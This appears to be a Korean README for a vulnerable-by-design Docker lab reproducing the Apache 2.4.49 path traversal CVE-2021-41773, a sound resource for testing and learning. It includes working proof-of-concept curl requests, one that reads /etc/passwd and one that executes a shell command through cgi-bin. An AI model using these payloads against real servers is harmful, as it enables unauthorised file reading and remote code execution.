취약한 도커 이미지: CVE-2021-41773 Apache 경로 탐색

이 취약점은 특정 비기본 설정이 있는 2.4.49 버전에만 적용됩니다. 특정 상황에서는 파일 읽기 또는 코드 실행으로 이어질 수 있습니다.

https://twitter.com/ptswarm/status/1445376079548624899

취약한 파일 읽기 설정

다음을 사용하여 Docker Hub에서 직접 컨테이너를 가져올 수 있습니다.

docker pull blueteamsteve/cve-2021-41773:no-cgid

다음 명령어로 실행합니다.

docker run -dit -p 8080:80 blueteamsteve/cve-2021-41773:no-cgid

아래 명령어로 Apache 로그를 볼 수 있습니다. 또는 위의 실행 명령에서 '-dit'를 제외하면 stdio를 스트리밍할 수 있습니다. docker logs <container-id>

파일 읽기를 위한 PoC

curl http://localhost:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd

취약한 RCE 설정

다음을 사용하여 Docker Hub에서 직접 컨테이너를 가져올 수 있습니다.

docker pull blueteamsteve/cve-2021-41773:with-cgid

다음 명령어로 실행합니다.

docker run -dit -p 8080:80 blueteamsteve/cve-2021-41773:with-cgid

아래 명령어로 Apache 로그를 볼 수 있습니다. 또는 위의 실행 명령에서 '-dit'를 제외하면 stdio를 스트리밍할 수 있습니다. docker logs <container-id>

RCE를 위한 PoC

curl 'localhost:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh' -d 'A=|echo;id'

사용자 정의 도커 컨테이너 빌드

하위 디렉토리에 있는 dockerfile과 템플릿 httpd.conf 파일을 사용하여 자신만의 버전을 수정하고 빌드하세요.

• 파일 읽기에 취약한 구성에는 ./no-cgi 사용
• 코드 실행에 취약한 구성에는 ./with-cgi 사용